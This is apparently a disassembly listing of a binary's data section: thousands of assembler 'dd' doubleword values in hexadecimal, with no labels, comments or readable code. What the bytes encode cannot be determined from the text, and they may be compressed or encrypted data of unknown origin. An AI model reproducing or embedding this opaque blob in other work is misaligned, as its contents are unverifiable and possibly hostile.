		dd 0AE056F7Bh, 8AC4ACE0h, 2DA23809h, 0C094006Bh, 0B32F114h
		dd 660F27F6h, 0ED7D4C10h, 0E7A41554h, 6039A73Fh, 48D7DB30h
		dd 3048B8F2h, 79B117EFh, 0A9002FECh, 9074E849h,	25B034Ch
		dd 0EFCEEA50h, 304D2668h, 66001311h, 3DE4FAD2h,	9A18996Ch
		dd 67707809h, 53560C23h, 0AD396DEFh, 0E996E07h,	407E6928h
		dd 6F9E87F2h, 70F51E6Dh, 14ACC048h, 3F8A6257h, 0D216A1DEh
		dd 48BE2C61h, 318FE7F8h, 0EF6839EDh, 0D0618067h, 0FC528A4h
		dd 90543C74h, 0AE14FA93h, 2E1D8300h, 58515797h,	0DE155CB8h
		dd 8040E44Dh, 0B437A4Eh, 6BFA94CCh, 93C66822h, 38986D1Bh
		dd 4B208D40h, 80908BEh
		dd 185828BEh, 8E82F81h,	81342226h, 2A4DC66h, 1798FC74h
		dd 91CD0A9h, 10073474h,	420F657Bh, 0D112E6E0h, 7C2C1044h
		dd 5B80A8FBh, 0B09AF61Ch, 730203B1h, 2D078BDAh,	3F924088h
		dd 0CC452A3Eh, 30EEE954h, 0A6E4B48Fh, 0FEC3DC09h, 0CF9C10BEh
		dd 21FC20F7h, 302B6724h, 0E57D4282h, 6E8048B6h,	0AAC7035Fh
		dd 60EF04EEh, 0D6A55900h, 4758751Ch, 8CA9278Ah,	0E4010C09h
		dd 40644192h, 4D38DFE4h, 34257EF4h, 910C979Bh, 82148B22h
		dd 0C63E5C4h, 620976B9h, 67468695h, 600F6438h, 2AE28032h
		dd 0CC147Bh, 0AB67281Dh, 0E97D2B4Dh, 0DB191067h, 0EE356CE0h
		dd 0CF41C016h, 10EC7662h, 9053AE07h, 6C611931h,	70E4D064h
		dd 5BEF2A51h, 0FB910094h, 0D6A9141Dh, 0E33B9505h, 0A4D1A947h
		dd 698B620Ch, 0D276090Eh, 1C23329Fh, 0B82E96E3h, 0FB749C2Eh
		dd 82024818h, 0E3F0D512h, 247444BCh, 8338FA7Ch,	0CFCA59D1h
		dd 0AAE29DC8h, 0B27A0C77h, 1AC1E38h, 0C6A1C56Ah, 0EC73FEC9h
		dd 562EB458h, 137C58FCh, 2893D1CCh, 2E8FF8C0h, 7428323Dh
		dd 0F4007646h, 8D2BB69Bh, 0C85921EFh, 7775128Ch, 547BBC28h
		dd 0FEDEA018h, 1B5E0012h, 4931D871h, 0E4EA55A7h, 78701948h
		dd 3C034609h, 6ECC1907h, 4AF24462h, 1721230h, 4995FB24h
		dd 0D31DFC6Fh, 0A09C2874h, 1F7F465Eh, 0F9C064A1h, 578CA001h
		dd 217B60DEh, 0B18A0659h, 0BAC19700h, 55495D8Fh, 1CED4C8Ch
		dd 29CBD26h, 45E98A37h,	91101D09h, 0A03B8271h, 385C60E8h
		dd 4C8F8235h, 7D2E0FF1h, 13B475E1h, 2037BCFDh, 50B4C12h
		dd 0DBF881B3h, 2C671015h, 0F1830158h, 0F0D0CDAFh, 0DE747410h
		dd 0CA415360h, 48F1BB3h, 0C4CF6AE0h, 417886A0h,	0D513FE09h
		dd 46FCE490h, 4C3E3852h, 0F84B2ECCh, 0E0565370h, 0A77106B7h
		dd 196FEEF5h, 81F8C500h, 0BD65847Eh, 0C3FC0049h, 93E28F4Eh
		dd 69E04FF6h, 0A3FE3FF6h, 6002C84Bh, 42336C91h,	70808A7Ch
		dd 21110D02h, 0A08C4032h, 23660E88h, 19E5146h, 4AD4E96Ch
		dd 0E3E0D720h, 0B95D4179h, 96880B0h, 43659737h,	32232h
		dd 2A095051h, 3CE52716h, 0D314FB07h, 0ABF1152Bh, 0C680334h
		dd 333AF862h, 5B2DD0C0h, 5CC7480h, 6265DDC2h, 4008C990h
		dd 7748E07Eh, 0BAFDD8E3h, 32C04C55h, 0DE7D12E8h, 0E4EFECD2h
		dd 34F47Ch, 3F22B8B5h, 7BD086C5h, 0E2314464h, 2430F5h
		dd 50EF1DBh, 805E84DCh,	0D18AA400h, 7C2250E5h, 0AEAC1854h
		dd 36441882h, 9694ED0Dh, 7831104Ah, 8C737C22h, 4A9EC104h
		dd 0ECCEC0BEh, 9EB88000h, 981541BAh, 0BC543CE9h, 75758C25h
		dd 51608F00h, 2F0BD6Ch,	0D8CB143Eh, 3905BC0Ah, 0A070970Dh
		dd 2DF9C99Ch, 0AFE60E6Ch, 98A6204Eh, 0C09623E1h, 49F592E8h
		dd 625C14BBh, 81604C58h, 0D150FC0Ah, 2750C30h, 9894E8B5h
		dd 88A97085h, 0EA2E3CC0h, 0CEE49A16h, 8A4C88h, 285FA201h
		dd 4527A33Ch, 0C2057300h, 468C3A64h, 0EA4D13E9h, 0D0ED004Eh
		dd 590122A3h, 73B3B600h, 95BCE606h, 0C5E537EEh,	36BFE02Ah
		dd 0AEE8A474h, 862310C3h, 308FE1B5h, 3D0C2FC8h,	2200A1D4h
		dd 3EAE58F9h, 8B0041C2h, 0E7372AC1h, 30604D1h, 5987464h
		dd 50CF2936h, 12C06C62h, 0BF0D6005h, 0ECD33D35h, 4D41C038h
		dd 86974B32h, 9C9018D4h, 38023B46h, 6CF68D1h, 30178131h
		dd 13EED130h, 0FBFBB00h, 0DE4058C1h, 546F8852h,	3392F802h
		dd 8396FD4Dh, 0EAF0470Ch, 50805827h, 1BCF4C92h,	183AF8D7h
		dd 0E87BE3A8h, 3E8200B9h, 0F23537D3h, 38494608h, 0DC21726Dh
		dd 0C01AC463h, 8E24DFCDh, 31CEF900h, 8954273Fh,	4EC230FEh
		dd 94DC6699h, 37468F1h,	3904F0EFh, 0C4C2E42Fh, 0BF562343h
		dd 458F70B8h, 1340D016h, 596F5492h, 19837174h, 985D08D8h
		dd 0A45144C8h, 19244005h, 14C87BFFh, 0E6A20017h, 0C5D59421h
		dd 0E2007A6Bh, 2226753Ch, 9B6C7E0h, 70E3107Eh, 0E25D2F04h
		dd 3305F228h, 91C99CE0h, 3C99622Ch, 5CC42944h, 589170A5h
		dd 95A80C3h, 8CB59739h,	4BB9FE60h, 0E50962h, 0C0BC7C85h
		dd 73119A98h, 0F00438B6h, 84090E8Ch, 718014B7h,	0F2F95457h
		dd 4C9F1003h, 1D44108Dh, 5879C814h, 28CFFACh, 0D8D13A2h
		dd 88C9A8F7h, 8891182Ah, 19C0167Ch, 8E8A17E4h, 30FA0F87h
		dd 94A04C44h, 913249D1h, 0B8560D2Ch, 0EBC8E560h, 0A75F12F3h
		dd 0B2BCC504h, 3004F210h, 0FF14BC7Fh, 85B8E07Ch, 48E4DE6Eh
		dd 17197AD7h, 0FD695Fh,	8B4466AAh, 8B62BD6h, 31082E44h
		dd 6D9E8CC0h, 0F0984CBEh, 9EC37FE0h, 0A732E005h, 708C6662h
		dd 50F07C29h, 2F0FE811h, 9081E192h, 398F6267h, 10A04C3Ch
		dd 23263458h, 172B110Ch, 70207B66h, 0BDDA2ACh, 0EF4E60F6h
		dd 0B7F4E048h, 6300F3F4h, 2433207Ch, 2A36606Ah,	0CA44753h
		dd 5DF7028Fh, 0DF00DB78h, 6182869Ah, 903642DEh,	1C4F4D8Eh
		dd 8B07438Eh, 6BC458DCh, 3B2047h, 37F762A1h, 9061DC12h
		dd 38C28C65h, 7F45AEFh,	0A1DAD9A0h, 37888007h, 0DCA19783h
		dd 0B6F04277h, 8094930h, 317D8F2Ch, 4E41F86Ah, 0FDCC0951h
		dd 84F4B9C5h, 91BD4DFh,	0A8346BEFh, 8E6DA7h, 4DA59C1h
		dd 2D8917ACh, 0A417B1Fh, 0C4C202DDh, 0F805C0D5h, 9A4602B0h
		dd 70C7D394h, 0E05BC5Ah, 9002D2FCh, 0BE719886h,	3D4674F4h
		dd 15874E3Dh, 89770236h, 1AE40CC5h, 304AA60h, 0D31BB52Eh
		dd 0BF726F01h, 58603365h, 1E764089h, 3BD00509h,	13300446h
		dd 0C159DE46h, 2B333200h, 9F129B6Ah, 46F90028h,	0E6AAFEACh
		dd 21FF4E94h, 0A2706384h, 15EF300Ch, 59CC9410h,	138C22E8h
		dd 91EE819Bh, 0F8C6DC40h, 79165884h, 703A48D3h,	0E8077123h
		dd 4987A56Eh, 3CF4F835h, 29C002F4h, 5D6B9583h, 305B80C0h
		dd 67E72700h, 0A9BE4635h, 2C8960Ch, 49529366h, 4097456h
		dd 98370Dh, 0C46332DAh,	9C1097CAh, 38584EDEh, 0DBAC0303h
		dd 9A19E42h, 688FC106h,	101CA280h, 0BC73C2D1h, 0E447FF4Fh
		dd 68B91496h, 253F3330h, 5448EE68h, 5600AAEAh, 1C369E16h
		dd 4BF4E18h, 0D0696D03h, 0B6B4A465h, 5420355Fh,	0CE3BEAh
		dd 0C772D08Ch, 0A5DF8021h, 33CA3505h, 9CA0B28Bh, 3C41457Dh
		dd 187CCF50h, 2CDA619h,	0EC14FC30h, 0C85059F7h,	9684E142h
		dd 1938A045h, 0C0147D24h, 21928F40h, 146C9072h,	509161F6h
		dd 88AC5A4Fh, 8A09879h,	66D990D8h, 3992701h, 80470C99h
		dd 68443328h, 0C270D3D1h, 0C0FEE330h, 7D11BC64h, 0EF260713h
		dd 0D2E641F4h, 0B329DC47h, 0F056AD04h, 6EC03491h, 0AEBF18h
		dd 0B42735E1h, 310FDB1Eh, 0A0E6D0A2h, 0AE4004B4h, 7DF974ECh
		dd 13BF669h, 2CD792AAh,	210B36EFh, 53CC200Ch, 3D3F708Ch
		dd 22C6DCBFh, 57543870h, 0EF29B80Fh, 0DCAAB1D8h, 190A73Ch
		dd 0C4ADCD35h, 8DECF385h, 9DD500C7h, 7EDFDA6Eh,	6105818Fh
		dd 4E1AFA2Fh, 33B6B800h, 4B7BD89Ah, 54C028E2h, 2818BE00h
		dd 2373C30Ch, 6655B8Eh,	915AEF44h, 6CC2FB04h, 78C4D511h
		dd 4E16A808h, 4E0500B1h, 0C0243AFEh, 4F1001DFh,	446BF93Eh
		dd 5EB83663h, 0CA01FC6Ah, 287CBED8h, 0E3873029h, 3D992109h
		dd 11E09D32h, 5ADD806Ch, 0EA6738E2h, 0C13B60F8h, 33C85749h
		dd 7B0FB138h, 77E27616h, 94DCE443h, 1CC5BC8Eh, 0FC4A408Ch
		dd 0F46E0F3Fh, 72A26615h, 0A44434DCh, 91BC9795h, 0D234801Ah
		dd 0AE0C25h, 0DCEA710Dh, 10ED7BE5h, 3D98DF88h, 2225E2D1h
		dd 78014B7h, 0BC3876CBh
		dd 275800E3h, 29713DCh,	0A0963A7Fh, 0F403824h, 3814076h
		dd 13C2DBF0h, 9698FA78h, 6CE2BCEFh, 5F6E9400h, 2E9CDFE1h
		dd 6D7C2567h, 0A497248Bh, 67410588h, 0C258B032h, 3E2EACDCh
		dd 3F8CE426h, 0A93917Ch, 0ECF9C643h, 5FD78080h,	9175624Fh
		dd 3BC2FA17h, 0FE0F0040h, 9BBD197h, 0A15412FFh,	0DF04548Fh
		dd 0D4C8A0E0h, 8492A8C1h, 68BD3B7Ah, 5BD14D02h,	0D881C7h
		dd 319A412h, 10FCA014h,	5105CCB1h, 0A030F14Dh, 0FD1C9134h
		dd 0BAD33459h, 277D50B4h, 3C6E19E0h, 0B7BFA200h, 0E921D9B1h
		dd 6128A0A4h, 0FC7C3366h, 0FDB85629h, 1F00B54Eh, 50CA9867h
		dd 7F6205Ah, 0C1147447h, 9905D35Eh, 0CCE86780h,	0C04F2835h
		dd 2588448Eh, 9D58AFC0h, 44D5004Dh, 1E943165h, 98B263E3h
		dd 0D0C44CE4h, 2F5723DFh, 823E4h, 39A63EBFh, 0C0C4D28Dh
		dd 98A49563h, 37D910BEh, 98BF0511h, 0E4D12B02h,	0AC65D7EFh
		dd 14013AECh, 0AC06E67Dh, 95800D88h, 0FE47E3BBh, 0FF9100ACh
		dd 9ACECA2Fh, 0D305C831h, 0CD62249Dh, 0FAF190A2h, 308C0C40h
		dd 0DC6911F8h, 5A00F9DEh, 1F14852Fh, 93405EDh, 0CB9DB007h
		dd 74548892h, 471100DCh, 0F625DF8Ch, 0E10414FDh, 61776D74h
		dd 60D0B0E8h, 414305A8h, 0B61C1700h, 8A7C8B57h,	9D298F27h
		dd 80839184h, 9933C267h, 4281308Ah, 2E17D48h, 1144C8A4h
		dd 2A3900C5h, 140B5894h, 8600C74Eh, 455F52FAh, 14E30D05h
		dd 4044936Eh, 61D13981h, 9856DECFh, 73319458h, 0F71803D1h
		dd 4F65A238h, 3613807Ah, 3412152Ah, 85BC1071h, 0E992B107h
		dd 0D1342445h, 18D48CE6h, 0F8C307E8h, 0C7C2146Fh, 38B4A0CBh
		dd 25090121h, 40A0F734h, 9D7EC0F3h, 0BBD07B00h,	0BC94C683h
		dd 70EE92h, 67FBA921h, 662E474Fh, 7743300h, 0FA98D2C2h
		dd 0A84361A6h, 317B3C67h, 10506936h, 7C2F7E4Eh,	95782CA3h
		dd 578511A0h, 0F3FAE705h, 0B81CBCDAh, 917B660Bh, 0DFD35C4h
		dd 19D22ECh, 4F498D50h,	386F34BFh, 4FFD3A10h, 62EF6C91h
		dd 8D078C50h, 0F6633914h, 0C348CA80h, 33EEA909h, 689DF106h
		dd 18612492h, 414FDE0Eh, 3E0E425Eh, 80C29C5Ah, 0D71C3BAh
		dd 40CF4A32h, 0EC6E9368h, 993F3591h, 0F06CB19Ah, 80334C1h
		dd 0CFC004F3h, 0C4C40F7h, 28F3998h, 0B8CCDC47h,	0FF888028h
		dd 9804D3D2h, 0EF221800h, 7F9B893Ah, 3DDA7500h,	46FB11Ch
		dd 0D61902C9h, 9862B853h, 745AF456h, 0A1649828h, 4B3D6F33h
		dd 1D0A00BEh, 77578371h, 1ADB347Ch, 0E1C8C0F1h,	80C12C3Bh
		dd 65D89901h, 57FDFE31h, 23A03B3Eh, 79780F09h, 457317A0h
		dd 695BDFDBh, 8A8FAC01h, 9441936Dh, 4C30A44Dh, 4B0F8CB8h
		dd 0F3973609h, 50C09CE2h, 0ADDA0953h, 0D5F86001h, 0A1458DABh
		dd 0A2681E3Eh, 0FC8F0101h, 2997C10h, 44508F31h,	0BC89F897h
		dd 31E06CCh, 0E65CF998h, 205A2C98h, 0C7DCC53Ah,	894D3088h
		dd 159299B8h, 0B8CF6B40h, 777631F0h, 84E8919h, 78402290h
		dd 8433521h, 0D413165Ch, 9050D49Fh, 0DC7F409Eh,	5A80E091h
		dd 0BCD2D359h, 37EB35D9h, 0F2D8E2B8h, 79AD3070h, 599320B1h
		dd 0A6DF6D00h, 264DAAh,	0DC4F9E2Dh, 31CD891Dh, 0D8189C17h
		dd 6C8E3425h, 3040FB84h, 0F861438Bh, 3D2424E0h,	23028584h
		dd 33CC425Eh, 0B86496FDh, 9D7C1097h, 0EBA7984h,	38FA3FE3h
		dd 9F729AC0h, 9C1C77EBh, 3E475236h, 0C00974CBh,	5A946A20h
		dd 0C3ACC951h, 8085A93Fh, 0F1037123h, 0E4E984Ah, 0D5B2EF76h
		dd 5FE0258Eh, 0B9FC92Bh, 91041797h, 0A3068028h,	9732DA5h
		dd 0F77E1027h, 0D25FF068h, 7D5BE700h, 0A5606A35h, 42E9394Ch
		dd 5E2B7101h, 34DEEF66h, 57052EC0h, 992AC453h, 74776C80h
		dd 285F12C6h, 0FAEC0848h, 80A56280h, 1CBE5E29h,	5756C759h
		dd 0A2BC1F52h, 9E689913h, 4A1D6101h, 74D262E6h,	0C4250F74h
		dd 0D1216A00h, 4076020Dh, 30063F3Ah, 0C94508A2h, 830E0C9Ch
		dd 0D13036D0h, 0C8116924h, 0FC917301h, 0BDE0ED51h, 0E100E0Ch
		dd 0EE80486Bh, 0E186877Eh, 0C6108564h, 0FE6146C7h, 99D851EBh
		dd 5DD4183Dh, 6C32904Ah, 36BF4B13h, 0A64EF0C0h,	411540DCh
		dd 0F8ACD10Bh, 0D7D8797Bh, 64D04072h, 0CCE68088h, 4016AC4Bh
		dd 8924B004h, 71BDC11Dh, 665738D9h, 212F07F0h, 8059FB02h
		dd 0FAF06E7Ch, 0CBE300A5h, 1C4AFF3Ch, 320E3D67h, 42FC63EFh
		dd 70FA7B46h, 0E34413BCh, 97FC4193h, 2B9E927Ch,	8FE09000h
		dd 0F496AFCAh, 40DC5BD7h, 85731590h, 88001776h,	1BA56990h
		dd 1C228AACh, 2C7F94EDh, 0D0AD383Ch, 8EE15493h,	5170832Dh
		dd 1D507CC0h, 0C1F999F9h, 0D14C0ECAh, 64A8FDCFh, 0C9283FE8h
		dd 0A1708E0h, 80020967h, 1BD4802h, 304462F1h, 257592ACh
		dd 9421032Ah, 0FF913900h, 414DDE51h, 708738A3h,	6185C700h
		dd 0F5EDA9Eh, 3D498A17h, 0A6C3F891h, 2102C864h,	74164787h
		dd 54EE6CE0h, 3A0D439h,	0A42CFBC8h, 0C8CD6321h,	0C90C9898h
		dd 8012FE68h, 58A1817h,	0A1C7485Ch, 10B6892Eh, 58495716h
		dd 9CE8700Ch, 7B0A40F4h, 7F1D5EEAh, 81BD2A21h, 4E474B23h
		dd 0F9D471E0h, 13AAA085h, 0BCDF845h, 0EE4A4D30h, 0DAB8B810h
		dd 0A4401E00h, 4D034FDh, 12C8008Ch, 0FAD724FFh,	3301B3EDh
		dd 0E7CF6646h, 0D8B03940h, 0DD146D60h, 0F71E970Bh, 0EFDC8207h
		dd 0D5800F09h, 6482E0E4h, 2F10309Dh, 0C0954F9Ah, 0A4E85164h
		dd 0C6512260h, 13D89113h, 88627CF6h, 0CB7B1E48h, 5DC3040h
		dd 89C9424Dh, 389C0612h, 292C1819h, 6A104858h, 90EF12DCh
		dd 0CA59718Ch, 691E3Dh,	0A0154CEAh, 9A89D3Dh, 0DC6E8545h
		dd 0B829C04h, 0D0DEh, 4540B741h, 0F83BFCD7h, 0F2909A0Fh
		dd 0D1009C8Fh, 7181161Eh, 27A85C91h, 0DFBCAD00h, 0A63B7796h
		dd 8080C33Ah, 3585A4AAh, 788EF13h, 3C7E6B25h, 57ACB0F2h
		dd 0EB03E520h, 0B69D2870h, 0E0A5C33Dh, 0E4D3E397h, 0A9CD2B98h
		dd 0CBF66120h, 42B10047h, 0A07421h, 0F19EE482h,	6C48587Bh
		dd 0BE1E4539h, 10D400AAh, 0DE589C5h, 5D7C01DBh,	248630A2h
		dd 81620EA0h, 1428158Ch, 1F81B940h, 4BBA1F0Eh, 0B00C0022h
		dd 7176DFCBh, 0AC9AE100h, 62EA0945h, 0CC78053Eh, 2631D7A2h
		dd 0E0540834h, 0D6460280h, 0A03EE4h, 0D7B24268h, 0E1C3F62h
		dd 5EA0546Fh, 0FF4480E1h, 49DF2D0h, 0B41C4360h,	15CF8D1h
		dd 128F2A41h, 0C445E8C9h, 0ED0078FFh, 43D6DBA3h, 0CD5A0CAh
		dd 2C3F5962h, 44440C29h, 0EE228477h, 70304269h,	9ED82284h
		dd 31287250h, 42973620h, 9F0D1124h, 22149628h, 58423911h
		dd 219C4211h, 885710BAh, 2EF6803Ch, 904ED75Dh, 0A49C4100h
		dd 3F9A2F1h, 0D46B0057h, 27E2B36Ch, 0D6009622h,	0AA696DC1h
		dd 2808BAE3h, 0C74C15h,	53B7C79Dh, 41399044h, 5DDC3A00h
		dd 3BC90416h, 1C330096h, 3E0DFEAFh, 86008FEFh, 7C1AC15Fh
		dd 46989Fh, 126AECCEh, 29116830h, 623619C0h, 4AA83F5h
		dd 0A092E5E2h, 39A4B8D3h, 5B1F00BEh, 0BD3DC10Ah, 0B570B0h
		dd 91DA5EDDh, 0CA72478Ch, 3BC4E709h, 0C8E8802Eh, 7821E1h
		dd 806C5DD9h, 933EF89h,	0DF383700h, 0CC8C64DCh,	2FFD4C93h
		dd 0DF7D391Ch, 3A5EC0ACh, 0C8D5B3B6h, 2D312600h, 216D27A3h
		dd 0E9DA0007h, 2F38996h, 2E009070h, 0F73DC7FCh,	3EBBE2B4h
		dd 0FB01F609h, 8BA61D30h, 682C205Fh, 0DB26F400h, 7C8E770Eh
		dd 94601C08h, 0DFFA807Eh, 8DE454C6h, 25E57A00h,	1F91CF95h
		dd 3E2C0FEBh, 5D009780h
		dd 6B07EE4Fh, 94D7BB00h, 392A27Dh, 3B57049Bh, 90B24677h
		dd 0C3D7E860h, 50975B0Eh, 0CAEEE339h, 107E988h,	0C7EDC2C5h
		dd 4C8B6080h, 489FE938h, 0FE14D100h, 0D0BA7EDBh, 65750416h
		dd 0AC0C774Bh, 0B37601A0h, 0D3CED139h, 0F30DD884h, 247085Bh
		dd 646A285Fh, 0B915E080h, 823EF8E3h, 144530AAh,	0DDA6CAh
		dd 84C6078Eh, 0C17F2266h, 5FE5E100h, 0C05EF4A5h, 0E0DB007Bh
		dd 4E4F0544h, 21C0BD81h, 0F280D79Ah, 250F0008h,	959B407Ah
		dd 71C7C2B8h, 49800C85h, 1CD9E36Dh, 47EAAE8Ch, 600BCCBAh
		dd 7665BE0Ah, 88FA0800h, 4A6B78CDh, 70E434h, 8DA075C4h
		dd 1860F040h, 73E02E00h, 7A62B3FEh, 1D4E00FFh, 0E9EA4588h
		dd 3116BB7Eh, 9D00F8C2h, 6BE852CCh, 87BE005Fh, 2997915Ah
		dd 0D011C9Bh, 154B196Fh, 3C603BC8h, 8F640EABh, 0F400236Bh
		dd 0D31EC9D0h, 2B3C2E60h, 3370189h, 0D63FECE1h,	53C040E3h
		dd 0A000DBB9h, 57831734h, 2FCEBEh, 0D4F21EEBh, 0CCFD8D76h
		dd 0A8D9D01Dh, 1A4B9682h, 7A4057EFh, 0ED00BD7Bh, 1D283DBh
		dd 1D178114h, 0C068D729h, 99F1DE36h, 20002CC3h,	0B34CED58h
		dd 9DF648h, 985BA03Ch, 81938E33h, 0BDD8400h, 7CA19941h
		dd 0AAE900E5h, 0B4170F85h, 3E00FC65h, 76DE9F30h, 7D467E74h
		dd 88DD3C75h, 7265AA00h, 0D0750F6h, 6FD0BC00h, 62318D8h
		dd 267EE038h, 1EB0CD22h, 6A9A4344h, 283D0FC7h, 0AA6E8046h
		dd 5385E2B6h, 0B2E300D7h, 9ADDD896h, 0FC00BC59h, 0AA4C237Dh
		dd 12CBAE62h, 0AF60508Ch, 0E0DA8E0Fh, 6EEC1424h, 0AAF00074h
		dd 0E1E50B7Ch, 417787DFh, 0BEC02D1Eh, 3F065740h, 0F4C33481h
		dd 714530E6h, 9B83BA30h, 5F9CE100h, 0ED85770Dh,	0EBE6010Ah
		dd 78310905h, 8C2C207Ah, 19A2D58h, 4A6A5CA9h, 98EB70F0h
		dd 9F4ECB6h, 3B5B1097h,	0D6B03403h, 9F98AFCBh, 23126384h
		dd 381D8E82h, 886180FAh, 0CCE5ADF6h, 44650076h,	92AB7EDAh
		dd 0D098EAD9h, 852FCD00h, 118CD4F3h, 0D24328F9h, 53A6009Ch
		dd 0BE5E6ADFh, 4200CD85h, 0A1AD1B60h, 18BD0Dh, 9B79A97Dh
		dd 8B76C4B8h, 11B97B00h, 0AF17BB45h, 0C3945863h, 0C3E6F90Fh
		dd 0F67D1C0h, 0F50E2D5Ah, 0C03B3A0Eh, 8E9C76A4h, 0AC1300C8h
		dd 0D8564140h, 61006589h, 3EA92739h, 13E047E7h,	4031EACEh
		dd 0FCC6BEF8h, 0CF00B5AEh, 0BBCDC310h, 0DCCBE5h, 0EB621525h
		dd 997D9F40h, 2A4FEE00h, 0E018A90Eh, 28EFEE20h,	0C44914h
		dd 0F78E4CB3h, 7E469A8h, 980B9D71h, 0F418FD51h,	0C4B81441h
		dd 0CBC2100h, 0A2E30345h, 235EA900h, 9EF43948h,	834D12FBh
		dd 797F007Eh, 0A03FC5BAh, 0A8385A00h, 59739BE2h, 604A0E94h
		dd 9EE0EE24h, 2CF145Fh,	0D429A200h, 1565977Dh, 88D200ECh
		dd 0C5F410EFh, 0A70013C0h, 0B06C92DEh, 8684Bh, 21B86959h
		dd 6ADD5ABEh, 482F370Ah, 1A00D4D8h, 735D2B70h, 0F82DB80Ah
		dd 0A14700ABh, 6CE959A5h, 8609C560h, 0A0E0CCE2h, 0D11D6D98h
		dd 0CBC713Dh, 74549769h, 0CE05B72Eh, 5B1AFD47h,	8FBAD403h
		dd 75B5E07Ah, 0B2110007h, 2150AEB3h, 0E90033D3h, 0EF7C0E30h
		dd 0BE6EE0h, 0BC0A40B1h, 0C6D9AB5Dh, 27899F07h,	0EFF04C6Bh
		dd 3A108DF0h, 158F3FE7h, 0B3A02B1Bh, 57B9CBFh, 1743A07h
		dd 0D8131EB8h, 7038C846h, 0AD210F19h, 0F68098CCh, 0B6F7AEE5h
		dd 56D97702h, 404C40F5h, 7A2EEF8h, 0AEB5EDA8h, 0E04757EBh
		dd 0B90F3756h, 0F8B6C100h, 0F17F6191h, 0FA0A0016h, 95AEC11h
		dd 4100811Fh, 0DF2CF890h, 23AD3Ch, 0EB6DCABFh, 78170B86h
		dd 0E6545E00h, 0B1C01E94h, 96F7806h, 3F2DEC92h,	80EFBC85h
		dd 0C78F36B8h, 2C8C2E00h, 0CCEC0DE1h, 55680080h, 0A24B9B45h
		dd 1F07958Ah, 38F447Eh,	626EDB50h, 0D57D00C6h, 592F641Ah
		dd 0B91F902Eh, 0D0000154h, 8E4A156Dh, 0E43D0E4Bh, 7483D308h
		dd 2F90AEBBh, 0C3000997h, 1D0DC2EEh, 66C40Ch, 55CCBC95h
		dd 0FF224B40h, 8153E83Ah, 29DD15EEh, 16C3206Ah,	0CF6BACh
		dd 0FAD4CAECh, 30EB013Bh, 0D600F0EBh, 226D83CEh, 1CFF3C28h
		dd 89E0E558h, 3C006BD4h, 258A5364h, 90625014h, 0B2007ACCh
		dd 194D1DE5h, 7D7D8FC5h, 7ABE02C1h, 68A83353h, 32EAE0C0h
		dd 43BB6103h, 0E0904594h, 0FEDA6F5h, 0C86F3B07h, 2BD6B7C0h
		dd 0CA3C7A26h, 5E6500BDh, 3904BEE1h, 9C580028h,	4FAAD3A1h
		dd 0FD1C9448h, 5DC14345h, 0FED4FFFAh, 0F8F33C74h, 0F11D0272h
		dd 8971D0AAh, 0CE941040h, 9B7E7500h, 0A8FE467Ch, 6D8D0050h
		dd 92D16329h, 0D3B00895h, 56056B70h, 577A90B6h,	0E94699C0h
		dd 0FF921388h, 4EC44097h, 0F0B8CCD8h, 62D52401h, 0B129E06Dh
		dd 9354F4h, 41C91DB3h, 0CEC04A7Bh, 0E6FF3900h, 0DA2A730Bh
		dd 205B0042h, 6C93DE50h, 8D03479Fh, 0A18930BBh,	0E122D0E0h
		dd 0C5260329h, 0B9FC9B02h, 0B4400EA8h, 895FE800h, 9EEDAA98h
		dd 6335004Dh, 0B3F1308Eh, 0E000E936h, 0D6DF5AEBh, 244A74h
		dd 8C5C485Bh, 0AE380966h, 5604720Bh, 288805ADh,	0EEA76F80h
		dd 6C883E97h, 0C00E05Ch, 85415F31h, 0A500C9BEh,	0D9CCD421h
		dd 43BCDFh, 0A3194936h,	5C03D08Bh, 6500E479h, 0E74886AFh
		dd 0B6FCC87h, 8ACEA24Ah, 21BBAC00h, 0FE1DA48Ch,	358277C4h
		dd 801F2D15h, 0F282B9CCh, 18EF0053h, 0BD9F319Eh, 8F267AD1h
		dd 0FC03B832h, 900F43B0h, 0FA5402C2h, 4C8600A7h, 119F83A2h
		dd 0F678F536h, 4A4789Fh, 17ABF727h, 0E54CA187h,	636360EAh
		dd 4F752900h, 7F377E6Bh, 91E11679h, 0E8980751h,	7A8613D2h
		dd 0D42A76C9h, 48C4407Fh, 0E4E043C4h, 230E00A7h, 72F03E8Dh
		dd 5900AD44h, 9C3A94A3h, 75B9C5h, 0F9FDEB1Bh, 56E49FF8h
		dd 2CA0ED2Ch, 1265813Ch, 844EE5A8h, 3606C828h, 20A3E120h
		dd 0B430481Fh, 89D12805h, 3CC01484h, 0F2BF1EAFh, 8CE60043h
		dd 9C7C42F1h, 6E2CB913h, 3500C060h, 0F5EC6920h,	5D25183Bh
		dd 0A97938E1h, 76504301h, 81B1B76Eh, 797C64C8h,	69E10001h
		dd 0BAEFE0ADh, 0D9036AC8h, 0D8B48391h, 0AF0C88C5h, 66C7120Bh
		dd 0DF9F007Dh, 29984D8Bh, 0FEC42E00h, 0D29DCBC0h, 0ABB85Dh
		dd 0A6E9EA3Ah, 2B9213DEh, 0F73F26h, 0F0042700h,	1F2AAB4h
		dd 0AB1C838Ch, 706FFCC2h, 9828A50Eh, 3B01A840h,	0F39C1EF1h
		dd 0E0C3040Dh, 3F5F61B0h, 0F22CCB2Fh, 1D700080h, 1175260Eh
		dd 4944D116h, 84D06425h, 4D084BFh, 0DD0533F8h, 8994C0CAh
		dd 0F50CBDB8h, 0A085DC25h, 78110EFEh, 24E04660h, 30940157h
		dd 0CABE720Eh, 844973h,	86181334h, 799F003Dh, 0B82A7A91h
		dd 0C1006D31h, 0F9625DCFh, 0E44AFh, 83062270h, 6756B2CDh
		dd 7D94E704h, 0E8E0FE3Bh, 90B078h, 71962701h, 8EC9AF7Ah
		dd 0A92CE712h, 74027805h, 3BA1E6C0h, 62B939CAh,	1B46C307h
		dd 18EE0A21h, 0CF2C28A7h, 61F97404h, 81D83Fh, 0C9F396FEh
		dd 48601039h, 0A299195Bh, 0E4B5317Fh, 0E30238F4h, 0BC5690E8h
		dd 6C0961D4h, 121F9030h, 96ED47h, 2180C09Ch, 0CA005DE9h
		dd 0D9A87E74h, 0E8E4BBE8h, 2CB500EFh, 2FBA9018h, 0BC1612CFh
		dd 7C0EFF35h, 0CC409647h, 0E7EDBD7Ah, 64EF0E06h, 0B5A0F32Bh
		dd 3C6956DDh, 74072900h, 0BAF4D4F0h, 0CBE22EB4h, 33C6004Ch
		dd 9E7F0AC7h, 0E3ED6401h, 0C34CFB3Eh, 1D2AC8DBh, 0BB583982h
		dd 0EB55A401h, 62F1D21Ch, 32C300A8h, 5D90890h, 0B85B7DE4h
